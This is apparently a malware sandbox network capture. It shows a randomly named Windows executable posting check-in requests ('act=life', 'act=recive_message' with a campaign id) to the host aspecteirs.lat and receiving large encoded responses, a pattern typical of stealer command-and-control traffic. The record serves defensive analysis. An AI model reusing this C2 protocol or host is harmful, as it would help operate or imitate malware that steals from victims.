2024-12-19 05:09:56 UTC	1378	IN	Data Raw: f1 78 84 3d 8c 25 5e d0 c4 01 d9 92 bb 7f bc 61 9a 73 82 68 6d f7 c4 36 2a 68 69 f9 9d fc 06 cd 2d 8e 9b 32 53 16 82 88 01 ee 97 fb 71 1d 50 af 95 ac 96 80 0b bb b2 76 df 70 11 73 bd 31 04 52 b6 bf 0e aa b1 b1 2c eb 54 2b 15 c6 45 a9 73 42 88 44 30 f1 3d 77 40 ce 07 c7 7f dc e9 98 8f 55 74 ca ca e5 17 e5 8e bf 5f 91 a4 3b ed d2 b8 50 05 f0 8a ac 75 80 ec 18 2a bc 87 b5 50 94 84 43 54 a1 65 f6 a2 34 b0 63 58 59 98 a8 d1 93 c3 c8 c1 87 9c 54 9b 46 dc 02 49 7a 1d 85 00 be d3 45 82 02 cc 71 e6 0c 91 2c d4 93 4a d3 54 9c ba 68 d8 48 74 f0 4c 08 98 03 7d 59 de 02 c1 1e d2 cf ca ad b0 7f 8f c3 dc bd c2 b9 93 9a ee 98 bc da ee 8c 05 61 d9 7e b7 ac ea bd f5 b2 ba 81 2a 96 5b d4 02 53 aa b5 e8 0e f5 31 a6 2d 26 36 c3 c3 2f 38 32 d9 46 34 4a da 7c a3 ad 41 7d 0e 29 Data Ascii: x=%^ashm6hi-2SqPvps1R,T+EsBD0=w@Ut_;PuPCTe4cXYTFIzEq,JThHtL}Ya~*[S1-&6/82F4J\|A})
2024-12-19 05:09:56 UTC	1378	IN	Data Raw: 7f 3c fb cf 9b ee e5 f5 61 04 ec 17 45 da 7a 22 fb 89 b1 6e a8 3c 39 03 48 4f a6 38 c9 32 32 a0 f3 de db f8 ac f9 60 db 2c de a3 b3 61 f0 7f db 6b 32 72 05 34 1b 2e da 3b fe 0a b0 3c 31 bf 0a 3e 0c 9d 8f be a0 b8 2d 8b e3 17 00 96 b5 14 c6 0b 31 e5 33 f3 e2 f4 b8 62 fc eb 87 6b bf 83 6a ea 82 2f 67 5c a0 3f dc 66 9b 8b 69 3b 42 0d 62 b6 06 8c 74 8d dc 29 30 7a 57 67 e2 38 c1 23 00 6e 42 48 ca da bb f5 c7 01 f4 19 03 69 65 6d e5 b0 ea ec 8e f1 7e 27 fe 5c ec 10 5a 69 9d 5c b5 ed 55 10 9a 3c df c4 3d fa 6e 15 73 ba 43 75 e8 cd 0b 2f 23 f3 26 c1 81 f4 6a 6c 33 fd b4 fc 44 9e 68 cb 8b b7 8b 38 f0 26 cc 60 6b 6c 13 a0 48 72 54 63 ff d0 69 80 78 e0 0a d8 62 bb 4d 5d 85 36 3c 9e 83 4f 77 56 60 6d a4 18 2c 70 5e 18 63 5c 10 2b a2 6c 51 4c 48 dc 09 7a 55 4f f1 08 Data Ascii: <aEz"n<9HO822`,ak2r4.;<1>-13bkj/g\?fi;Bbt)0zWg8#nBHiem~'\Zi\U<=nsCu/#&jl3Dh8&`klHrTcixbM]6<OwV`m,p^c\+lQLHzUO
2024-12-19 05:09:56 UTC	1378	IN	Data Raw: cd 3a 89 7c 61 f9 ad e9 47 47 81 23 fc 3a 2f b5 f0 4d 0b 8b 29 d0 2b 7f 92 b1 2f ff 4c 92 2e ac dd 43 f6 04 93 d5 ff 41 01 3b 9a b7 74 94 f0 2d f7 6f fe c9 1a 4a e2 72 10 49 be 79 64 1e 59 98 c5 73 c1 2a d2 fa ae 9a 87 53 c6 22 fe 8d 75 6a ab 48 e1 0b c7 82 2f 89 a7 52 6e 2e fb 11 41 32 56 e6 f7 04 a9 c2 7e a9 73 03 b5 5e 4c b5 79 b8 36 79 89 d0 e1 a9 f6 25 00 ee 74 88 51 73 0e b8 8a 09 dd bc 9f 34 a0 74 5a 0c 14 42 ca 33 44 ed b5 46 6e e8 2b e7 68 75 d2 d0 6a 06 80 61 d9 4c 48 d3 75 e6 7b ea 03 9c 56 b3 9a a2 fe 7e 5d c7 98 7c ba a6 70 30 fc 93 de 65 4c 0d 22 8d ae 53 69 de 64 a8 93 ee 6e 80 34 db 95 7f e2 f3 f8 6e b6 ca 18 0f 9b bd 92 b3 88 92 2f a1 09 99 e0 be 9a da 67 4a 12 e3 a6 80 3e bc 60 ae d1 a3 80 48 74 82 1e 7c 29 e8 86 3a 66 74 63 bf 32 84 b6 Data Ascii: :\|aGG#:/M)+/L.CA;t-oJrIydYs*S"ujH/Rn.A2V~s^Ly6y%tQs4tZB3DFn+hujaLHu{V~]\|p0eL"Sidn4n/gJ>`Ht\|):ftc2
2024-12-19 05:09:56 UTC	1378	IN	Data Raw: 2e 34 d2 36 c0 1c 87 05 5c 19 ce a7 bd 39 4e 7d 8b 06 42 78 48 49 6f d7 9e dc 3a 51 28 cf d3 b8 60 bb 66 7f 15 75 62 46 09 a7 b7 e2 4e f9 4c ce 36 6b 96 d8 1c 3d 12 ab 4f fa 4a 93 46 1d e0 e5 da 7b 7e ea 20 1a 24 16 a4 57 46 00 78 d6 d2 52 42 48 61 fb 11 84 e4 88 38 35 08 87 fe d7 21 d2 15 3b b1 d6 32 14 35 9b f5 24 fd 97 82 12 89 fb c8 42 80 ab c0 fe 57 3f b0 f7 05 cf c8 4c 9d 0d 28 61 a6 4a ff df 92 66 f3 77 e4 f4 ab b8 1a cc e3 84 f3 c5 e8 a6 23 97 5e 97 2e 49 f7 87 b2 1c e7 c3 6d 90 57 d5 93 b3 a0 57 ea 3b 13 7f a6 ac 57 86 84 70 7a 33 ee a4 49 61 6c c4 db 59 bf 8b 5d d3 90 df 70 fd 12 fb 6f ef 9c ec 2b 51 d9 e7 01 c0 d1 e4 bd b0 75 e7 7c 94 e3 8c 0f 18 6c 6a 23 dc 80 94 92 65 ab fb 9e 3e e6 dd 0f dc 18 39 0c 3b 45 ff 79 45 9c 77 a8 ef 64 09 40 9f a1 Data Ascii: .46\9N}BxHIo:Q(`fubFNL6k=OJF{~ $WFxRBHa85!;25$BW?L(aJfw#^.ImWW;Wpz3IalY]po+Qu\|lj#e>9;EyEwd@
2024-12-19 05:09:56 UTC	1378	IN	Data Raw: 6f 27 c8 2d a7 9d ad 5b 54 d5 1a 44 4a cf 01 57 bf fa c7 40 0f 62 46 a9 78 3b 53 2e c9 60 34 8b 54 3e c2 aa 4c 64 e8 0f 4d 01 52 ca 2e b9 4a 41 71 e9 1a 17 8b 36 85 2b 37 1c b2 47 c3 92 79 78 44 aa e4 73 45 c3 7a ec a7 e8 f7 97 f9 e5 71 06 ae 79 53 00 5a b4 d4 63 52 3c 66 0d 2b ba 47 e1 89 5a ea fe 50 67 3d 24 e0 25 c3 bf 2c 06 02 81 ba 53 b7 8c e7 69 41 5d 67 e5 27 5f ec 50 ae ad 59 7c 47 c4 d3 9c 51 f8 c1 d4 af f7 51 63 69 25 2f 55 56 a6 7f 1d 5e 56 09 83 c4 2a 95 b4 0c d0 59 9a b3 d2 54 43 c2 53 ce ca 88 f2 ab 02 49 f5 6a 13 ba 37 af 1a e5 a9 c6 63 09 86 3a e5 69 a5 da 02 b7 22 96 08 04 32 f5 0f b5 82 78 1a 6a f8 99 d4 fd 19 e7 d9 d9 7c a0 8f df f7 83 e0 1f 60 60 97 60 39 64 30 6a d4 64 cd b7 ed b6 a7 f9 39 b4 fe 6f c4 7e 33 ca a7 36 25 c0 31 bf 78 3c Data Ascii: o'-[TDJW@bFx;S.`4T>LdMR.JAq6+7GyxDsEzqySZcR<f+GZPg=$%,SiA]g'_PY\|GQQci%/UV^V*YTCSIj7c:i"2xj\|```9d0jd9o~36%1x<
2024-12-19 05:09:56 UTC	1378	IN	Data Raw: ba 49 69 e7 8f 7d d1 5f af da 49 9c 64 28 98 59 36 b3 a4 1d f8 cb 15 30 7b 25 96 6a 09 2c f9 20 89 72 a7 05 a6 ea 8d 9a 4d 6f 93 43 f8 1a 0b 86 c5 cd 49 b1 ae e6 66 89 2c 31 6d 66 65 ba b9 26 f7 bc e2 7e 04 08 8b 2a 14 e9 10 fd 4f e9 bc c6 a4 d3 a8 ff e7 d6 37 51 ca 11 be 2b c4 19 d5 58 47 e5 06 47 a6 80 1f cd 2c cd 1b 2f fe bf 7a e4 22 a8 58 99 b7 c2 f4 2a 61 f9 4b 1f 10 3a 80 ad c6 6c c2 ad 0a e8 42 64 3a 1d 96 d8 35 ce 0e d9 3d a7 34 55 40 23 4e ec 0a 67 8f e3 ae f1 06 2c 05 91 70 68 31 70 bc 85 3c c2 34 7e 0b 71 0b ef a9 16 2d 07 43 97 d6 3c d9 85 4d 50 fa be f0 ac b9 0b 8b 20 9b 22 09 1f cb 88 e8 11 b7 86 f0 e6 ed 30 8d 84 c5 b5 0c 33 84 45 94 ff 9e 5f 82 1d d6 2a c6 a7 07 43 f5 be f1 7d dc 32 9e 71 98 2a 5e aa e3 b3 e4 3c fe fd 1c ba 1b fe 1d c0 d9 Data Ascii: Ii}_Id(Y60{%j, rMoCIf,1mfe&~O7Q+XGG,/z"XaK:lBd:5=4U@#Ng,ph1p<4~q-C<MP "03E_C}2q^<
2024-12-19 05:09:56 UTC	1378	IN	Data Raw: 52 e0 1f 58 23 09 4b ac 81 56 f8 11 a3 e9 9a 43 0c 60 01 1d ac 7a b7 e5 2b f8 87 42 a7 8f 08 53 15 76 f7 ad 7b 62 db 9b f9 e8 88 8f 97 0a 19 31 58 c4 e7 2b 34 56 b1 00 87 dc 42 8f cf 0b 67 f8 38 50 45 9a 20 8e fa c9 f1 85 14 bc 23 26 13 67 95 23 3c fc 05 7b 68 9c 69 8d 73 5b fc c0 db 6e da 60 44 01 ed 8b 92 68 d9 2c 74 c3 17 41 9d 40 7d e1 6f c6 35 d8 97 5d ee 57 5b 90 e9 51 03 2c 68 50 87 88 56 9d 16 a8 1b ac 3f 66 16 fd ff b9 0c 32 82 96 49 d1 4a 63 f5 a8 47 9b 08 b8 45 61 aa 63 64 be c9 9a f2 0b dd 64 ef 60 ad 54 73 91 db b5 0f 39 94 2a 4d b1 f6 81 20 51 06 ac df e4 cd 78 af 96 19 fe 1a c8 4a 65 e8 79 5d cc c5 8d d9 1d f9 22 55 8a 86 da 2b f0 00 1c 49 5f d3 1c 62 bf 22 c3 33 ec d2 ad d3 ab 98 d2 42 8b 64 a6 41 08 fd 7f a6 3c da c3 89 a7 2e 33 dc 08 02 Data Ascii: RX#KVC`z+BSv{b1X+4VBg8PE #&g#<{his[n`Dh,tA@}o5]W[Q,hPV?f2IJcGEacdd`Ts9*M QxJey]"U+I_b"3BdA<.3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49889	104.21.66.85	443	1464	C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 05:10:00 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: aspecteirs.lat
2024-12-19 05:10:00 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-19 05:10:01 UTC	1129	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 05:10:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=vfgu34f4c8tun7f1pkeghaprip; expires=Sun, 13 Apr 2025 22:56:40 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=doPiq5hATVOpak22dqfeDfBwiaF9B0CSUtOoC%2FUvPV3ecTLq1w9tE7dMnQmu8NnXPItHeloyqvVitMQl8I%2BPkY%2BUIYUXQDzezNOVX89DLf%2B12a2%2BgpNfCa7XwuJjpQeFvQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f44e23f6a6b32f4-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1826&min_rtt=1802&rtt_var=693&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2831&recv_bytes=905&delivery_rate=1620421&cwnd=112&unsent_bytes=0&cid=90b7e5b781dd02b5&ts=805&x=0"
2024-12-19 05:10:01 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-19 05:10:01 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49896	104.21.66.85	443	1464	C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 05:10:02 UTC	262	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 50 Host: aspecteirs.lat
2024-12-19 05:10:02 UTC	50	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 43 56 6d 72 30 74 2d 2d 69 6e 73 74 61 6c 6c 73 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=CVmr0t--installs&j=
2024-12-19 05:10:03 UTC	1129	IN	HTTP/1.1 200 OK Date: Thu, 19 Dec 2024 05:10:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=70irucgkto3jgj63ge4o74ttca; expires=Sun, 13 Apr 2025 22:56:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=mGEVHCsAtHfJ43xbGmDhBxHgFZsclSbM7vCIKtjTmy%2F%2ByITHRVO2yntdAT%2BBO9yK%2B%2FGafewKmn9HX8Bh60d7lWLJz0bD2NxLzHf7SSYUzzA7RRJ0XPYEGT9ZOIOe2J0hXA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f44e24c2e5a0f79-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1724&min_rtt=1697&rtt_var=690&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2832&recv_bytes=948&delivery_rate=1526398&cwnd=241&unsent_bytes=0&cid=a5bed9bd47004be2&ts=807&x=0"
2024-12-19 05:10:03 UTC	240	IN	Data Raw: 63 35 30 0d 0a 47 4a 7a 64 58 76 52 42 61 64 36 66 54 6b 39 6b 66 4b 61 63 4c 42 4b 47 43 4b 6a 70 38 2b 46 30 37 72 4a 4f 6a 31 71 6e 2f 75 4e 6a 76 71 74 38 7a 6e 56 46 2f 4f 77 72 62 56 34 49 31 4f 6c 4a 50 71 52 70 7a 4d 76 4a 68 78 57 43 77 53 75 6a 65 4e 47 54 77 53 4c 36 76 44 4b 48 4a 45 58 38 2b 6a 5a 74 58 69 66 64 76 6b 6c 38 70 44 4b 4b 6a 4a 6d 44 46 59 4c 51 4c 2b 51 31 31 35 4b 41 63 50 43 36 4e 70 45 69 44 62 2f 7a 49 79 6f 42 47 63 66 32 51 6e 76 72 59 4d 58 4c 33 38 4d 52 6c 4a 42 30 72 52 66 43 69 6f 4a 56 2f 61 34 31 31 6a 78 46 70 62 30 72 49 55 5a 47 68 50 31 4a 63 4f 70 75 7a 49 4b 62 69 52 79 4b 30 53 72 6c 4b 73 36 59 69 33 44 2b 75 54 65 62 4b 78 6d 79 2b 53 51 68 42 78 50 48 76 67 41 Data Ascii: c50GJzdXvRBad6fTk9kfKacLBKGCKjp8+F07rJOj1qn/uNjvqt8znVF/OwrbV4I1OlJPqRpzMvJhxWCwSujeNGTwSL6vDKHJEX8+jZtXifdvkl8pDKKjJmDFYLQL+Q115KAcPC6NpEiDb/zIyoBGcf2QnvrYMXL38MRlJB0rRfCioJV/a411jxFpb0rIUZGhP1JcOpuzIKbiRyK0SrlKs6Yi3D+uTebKxmy+SQhBxPHvgA
2024-12-19 05:10:03 UTC	1369	IN	Data Raw: 77 34 33 4b 4b 30 39 48 51 4a 49 2f 42 50 66 67 31 31 5a 72 42 5a 62 43 6d 66 4a 45 76 53 2b 53 39 4a 43 45 49 47 38 66 78 53 58 48 6b 65 4d 57 4c 6b 6f 73 65 69 4e 6f 6a 34 6a 66 4c 6c 6f 5a 79 39 37 67 7a 6b 53 73 4e 73 2f 35 73 59 30 59 5a 33 4c 34 57 4d 4d 52 36 79 59 69 46 6a 67 66 4d 7a 32 4c 30 65 4d 4b 51 77 53 4b 2b 75 54 4b 58 4c 67 75 75 39 53 63 6d 41 77 7a 50 39 30 4e 39 35 47 66 41 68 4a 4b 44 45 59 62 61 49 2b 63 38 79 4a 47 48 65 76 37 2f 63 74 59 6b 45 2f 79 6c 62 41 34 44 44 73 50 79 57 44 4c 65 4b 74 58 46 69 4d 4d 52 67 4a 42 30 72 54 44 41 6e 34 4a 78 38 62 77 30 6e 54 45 4c 72 76 73 68 4b 42 51 59 77 66 42 45 63 2f 5a 67 78 49 32 53 69 68 32 46 31 53 76 70 65 49 76 63 68 6d 4b 2b 35 33 79 33 4c 67 43 77 39 7a 73 74 52 67 47 4b 35 77 Data Ascii: w43KK09HQJI/BPfg11ZrBZbCmfJEvS+S9JCEIG8fxSXHkeMWLkoseiNoj4jfLloZy97gzkSsNs/5sY0YZ3L4WMMR6yYiFjgfMz2L0eMKQwSK+uTKXLguu9ScmAwzP90N95GfAhJKDEYbaI+c8yJGHev7/ctYkE/ylbA4DDsPyWDLeKtXFiMMRgJB0rTDAn4Jx8bw0nTELrvshKBQYwfBEc/ZgxI2Sih2F1SvpeIvchmK+53y3LgCw9zstRgGK5w
2024-12-19 05:10:03 UTC	1369	IN	Data Raw: 77 49 32 65 6a 68 72 4d 6e 6d 7a 71 49 49 58 45 77 56 44 39 71 7a 2b 63 59 54 36 2f 38 79 49 71 45 46 37 62 73 46 63 77 34 32 61 4b 30 39 47 4f 46 34 54 57 50 75 49 31 78 70 4b 50 64 66 75 77 4e 4a 59 6a 42 72 6e 35 4a 79 59 46 45 38 44 73 52 48 44 73 62 38 75 42 6d 38 4e 59 7a 4e 63 30 72 57 43 46 72 5a 5a 78 76 49 6f 2f 6d 43 30 4d 71 72 30 7a 59 78 39 65 77 2f 49 4f 4b 4b 52 6e 77 6f 36 55 6a 42 65 47 33 69 6e 6e 4e 4d 32 53 67 6d 6a 78 75 7a 79 61 4b 77 47 78 38 79 67 6c 44 78 58 50 2b 45 35 78 37 69 71 45 79 35 61 62 56 74 53 51 47 4f 6f 30 79 4a 50 44 54 2f 32 78 4d 70 45 31 53 36 4f 7a 4e 57 30 42 45 6f 53 6d 44 6e 7a 74 61 73 47 42 6c 59 4d 52 67 64 55 76 36 6a 76 49 6d 34 74 30 2b 62 73 77 6e 79 34 4e 76 50 6f 6f 4b 42 51 62 7a 66 4a 43 4d 4b 6f Data Ascii: wI2ejhrMnmzqIIXEwVD9qz+cYT6/8yIqEF7bsFcw42aK09GOF4TWPuI1xpKPdfuwNJYjBrn5JyYFE8DsRHDsb8uBm8NYzNc0rWCFrZZxvIo/mC0Mqr0zYx9ew/IOKKRnwo6UjBeG3innNM2SgmjxuzyaKwGx8yglDxXP+E5x7iqEy5abVtSQGOo0yJPDT/2xMpE1S6OzNW0BEoSmDnztasGBlYMRgdUv6jvIm4t0+bswny4NvPooKBQbzfJCMKo
2024-12-19 05:10:03 UTC	181	IN	Data Raw: 73 30 50 7a 4e 63 67 72 57 43 46 6c 59 68 6f 38 4c 45 31 6d 79 55 44 75 2f 4d 68 4a 67 41 56 77 2f 6c 49 66 65 78 6e 7a 34 69 51 68 78 79 65 30 79 66 6e 4e 63 2f 63 7a 7a 72 35 70 33 7a 4f 59 79 79 77 31 44 77 32 46 41 69 45 34 51 42 70 70 47 33 47 79 38 6e 44 46 59 50 5a 49 2b 55 77 79 70 4f 46 64 50 69 35 4d 5a 4d 73 41 61 37 31 49 69 41 4e 45 63 2f 73 54 6e 33 67 5a 73 36 44 6d 6f 6c 57 77 70 41 72 39 58 69 64 33 4c 52 33 38 62 38 2f 67 47 4d 55 38 75 52 73 4b 67 70 65 6e 4c 35 43 66 75 52 6c 78 6f 65 61 69 78 65 41 33 69 76 6f 0d 0a Data Ascii: s0PzNcgrWCFlYho8LE1myUDu/MhJgAVw/lIfexnz4iQhxye0yfnNc/czzr5p3zOYyyw1Dw2FAiE4QBppG3Gy8nDFYPZI+UwypOFdPi5MZMsAa71IiANEc/sTn3gZs6DmolWwpAr9Xid3LR38b8/gGMU8uRsKgpenL5CfuRlxoeaixeA3ivo
2024-12-19 05:10:03 UTC	1369	IN	Data Raw: 33 63 63 63 0d 0a 4d 63 32 55 6b 33 76 36 74 7a 32 59 4c 41 71 34 2b 43 6b 70 41 52 72 43 38 51 34 2b 70 47 33 53 79 38 6e 44 4f 61 76 6c 62 73 77 43 68 59 50 50 59 37 36 34 4d 4e 5a 37 53 37 44 2b 49 43 55 4a 47 4d 33 79 52 48 6e 76 5a 73 47 50 6e 59 6f 54 69 74 45 70 36 44 6e 42 6b 49 74 38 2f 62 77 7a 6d 53 77 44 2f 4c 4e 73 4b 68 35 65 6e 4c 35 72 5a 2b 39 6b 7a 4d 75 4f 7a 51 2f 4d 31 79 43 74 59 49 57 51 69 48 7a 34 75 6a 43 58 4a 51 4f 35 39 53 67 73 41 42 6a 48 38 55 70 31 35 57 58 4f 68 35 2b 4a 46 34 33 63 4a 2b 49 7a 77 4e 7a 50 4f 76 6d 6e 66 4d 35 6a 4f 72 2f 72 4f 7a 30 4b 58 74 75 77 56 7a 44 6a 5a 6f 72 54 30 59 49 45 68 74 6f 69 36 44 66 41 6e 34 35 39 38 37 6b 77 6e 43 6f 44 75 76 49 6c 50 77 55 53 79 76 6c 41 66 4f 70 6e 77 49 69 63 77 Data Ascii: 3cccMc2Uk3v6tz2YLAq4+CkpARrC8Q4+pG3Sy8nDOavlbswChYPPY764MNZ7S7D+ICUJGM3yRHnvZsGPnYoTitEp6DnBkIt8/bwzmSwD/LNsKh5enL5rZ+9kzMuOzQ/M1yCtYIWQiHz4ujCXJQO59SgsABjH8Up15WXOh5+JF43cJ+IzwNzPOvmnfM5jOr/rOz0KXtuwVzDjZorT0YIEhtoi6DfAn45987kwnCoDuvIlPwUSyvlAfOpnwIicw
2024-12-19 05:10:03 UTC	1369	IN	Data Raw: 6d 36 6a 2f 4f 6c 49 70 31 2b 4b 30 77 6d 44 45 4f 72 75 39 73 59 30 59 5a 33 4c 34 57 4d 4e 4a 74 32 70 75 53 77 53 65 61 30 7a 72 6d 4e 63 6e 63 6e 6a 54 6e 2f 7a 75 61 59 31 50 38 2b 79 4d 6b 42 52 48 46 39 30 4a 39 34 57 50 50 69 70 65 48 48 49 62 51 4b 75 73 35 77 4a 61 43 65 2f 53 32 4f 35 34 6b 43 4b 36 39 59 6d 30 42 42 6f 53 6d 44 6c 6e 6a 65 4d 53 62 30 5a 78 59 6c 5a 41 72 34 58 69 64 33 49 56 77 38 62 73 37 6d 69 55 4f 75 76 41 74 49 67 63 65 79 2f 70 46 65 65 4a 72 78 34 36 63 68 77 53 47 32 79 50 68 4d 63 6d 52 77 54 53 2b 75 43 54 57 65 30 75 4e 38 43 49 6a 41 51 69 45 34 51 42 70 70 47 33 47 79 38 6e 44 46 34 44 66 4c 2b 49 37 78 70 32 4c 61 4f 79 7a 4e 5a 34 6d 42 37 66 7a 4b 6a 38 41 45 63 33 39 54 58 6e 6a 59 73 61 42 6b 6f 52 57 77 70 Data Ascii: m6j/OlIp1+K0wmDEOru9sY0YZ3L4WMNJt2puSwSea0zrmNcncnjTn/zuaY1P8+yMkBRHF90J94WPPipeHHIbQKus5wJaCe/S2O54kCK69Ym0BBoSmDlnjeMSb0ZxYlZAr4Xid3IVw8bs7miUOuvAtIgcey/pFeeJrx46chwSG2yPhMcmRwTS+uCTWe0uN8CIjAQiE4QBppG3Gy8nDF4DfL+I7xp2LaOyzNZ4mB7fzKj8AEc39TXnjYsaBkoRWwp
2024-12-19 05:10:03 UTC	1369	IN	Data Raw: 30 70 75 65 4e 4f 66 2f 4f 35 70 6a 55 2f 7a 37 4a 53 73 42 47 4d 72 73 53 33 62 72 5a 63 4f 43 6c 59 73 56 6a 4e 51 6f 36 6a 33 47 6b 49 70 39 2f 62 41 34 6e 79 30 43 73 37 31 69 62 51 45 47 68 4b 59 4f 55 66 39 70 78 6f 62 52 6e 46 69 56 6b 43 76 68 65 4a 33 63 6a 58 54 37 76 7a 61 51 4a 77 36 36 39 79 6b 74 44 52 33 4c 2b 6b 68 30 36 32 72 42 67 70 43 46 45 34 62 62 4b 75 41 37 77 35 72 42 4e 4c 36 34 4a 4e 5a 37 53 35 7a 6d 49 53 45 42 58 74 75 77 56 7a 44 6a 5a 6f 72 54 30 59 67 61 69 4e 63 73 34 44 76 4e 6d 59 56 77 2b 37 38 30 68 43 73 4c 75 2b 38 2b 4c 51 38 62 79 50 31 4f 64 4f 4a 6a 7a 49 69 56 77 31 6a 4d 31 7a 53 74 59 49 57 78 6a 58 33 58 75 43 66 57 50 45 57 6c 76 53 73 68 52 6b 61 45 2f 30 56 36 36 32 66 4a 6a 5a 4b 49 45 34 62 52 4b 2b 55 Data Ascii: 0pueNOf/O5pjU/z7JSsBGMrsS3brZcOClYsVjNQo6j3GkIp9/bA4ny0Cs71ibQEGhKYOUf9pxobRnFiVkCvheJ3cjXT7vzaQJw669yktDR3L+kh062rBgpCFE4bbKuA7w5rBNL64JNZ7S5zmISEBXtuwVzDjZorT0YgaiNcs4DvNmYVw+780hCsLu+8+LQ8byP1OdOJjzIiVw1jM1zStYIWxjX3XuCfWPEWlvSshRkaE/0V662fJjZKIE4bRK+U
2024-12-19 05:10:03 UTC	1369	IN	Data Raw: 53 69 77 2f 79 37 57 65 30 76 37 2f 6a 34 2f 41 42 33 53 2f 51 6c 4f 32 6b 33 63 67 5a 61 54 45 5a 76 66 62 4b 4e 34 79 74 7a 5a 51 37 36 32 4f 34 30 79 48 62 48 74 4b 32 30 35 55 49 54 6d 44 69 69 6b 58 38 6d 46 6e 34 51 41 6e 5a 30 4c 2b 7a 4c 43 6a 49 5a 74 38 66 39 79 31 69 56 4c 35 4b 35 69 62 51 49 50 68 4b 59 65 49 72 38 2f 6d 64 7a 42 30 51 6e 43 79 57 7a 37 65 4a 33 4f 7a 7a 72 73 2f 32 54 57 5a 41 69 75 37 79 6f 75 45 42 32 44 77 48 42 58 2f 6d 66 4d 6e 49 43 39 4b 49 76 4b 49 65 73 76 31 4e 43 55 65 66 43 78 4f 34 42 6a 52 66 7a 79 62 48 55 2f 58 6f 79 2b 63 54 36 6b 63 6f 72 54 30 62 59 56 67 74 34 72 2b 79 6d 49 75 35 74 33 2b 4b 67 74 31 6d 31 4c 75 72 31 30 66 55 68 65 77 4f 38 4f 4b 4c 51 34 6b 64 37 43 31 45 62 65 7a 32 4c 30 65 4e 50 63 Data Ascii: Siw/y7We0v7/j4/AB3S/QlO2k3cgZaTEZvfbKN4ytzZQ762O40yHbHtK205UITmDiikX8mFn4QAnZ0L+zLCjIZt8f9y1iVL5K5ibQIPhKYeIr8/mdzB0QnCyWz7eJ3Ozzrs/2TWZAiu7youEB2DwHBX/mfMnIC9KIvKIesv1NCUefCxO4BjRfzybHU/Xoy+cT6kcorT0bYVgt4r+ymIu5t3+Kgt1m1Lur10fUhewO8OKLQ4kd7C1Ebez2L0eNPc
2024-12-19 05:10:03 UTC	1369	IN	Data Raw: 6b 74 31 6d 31 4c 73 37 31 30 46 45 5a 57 68 4d 45 41 4d 50 77 71 6b 73 75 6b 67 42 69 43 31 7a 72 38 64 65 4b 53 68 6e 76 6f 72 79 75 5a 59 30 58 38 2b 32 78 31 56 46 43 45 2b 6c 38 77 76 44 71 59 30 4d 54 51 51 64 79 43 4d 36 4d 68 68 59 72 42 49 71 7a 78 66 49 52 6a 55 2f 79 36 4c 7a 38 55 47 4d 66 6f 54 54 66 61 56 4f 32 46 6c 6f 49 41 6e 4d 63 6a 6f 68 62 7a 76 62 39 45 36 37 77 79 6d 43 51 64 72 62 31 69 62 51 6c 65 6e 4d 63 4f 4f 4b 52 56 68 4d 75 4a 77 30 37 4d 35 53 2f 6a 4e 73 4b 4b 6b 44 66 5a 73 54 75 58 4e 52 75 72 38 6d 4d 44 4d 44 2b 45 73 41 35 32 70 44 4b 59 78 64 47 48 42 38 79 49 66 4c 39 6a 6b 4d 2f 57 4b 71 79 67 63 6f 39 6a 48 66 79 6c 66 6d 4e 47 44 49 53 6d 44 6a 66 6e 65 4e 69 4e 6b 70 55 56 79 2b 34 53 79 6a 62 43 6e 5a 64 71 38 Data Ascii: 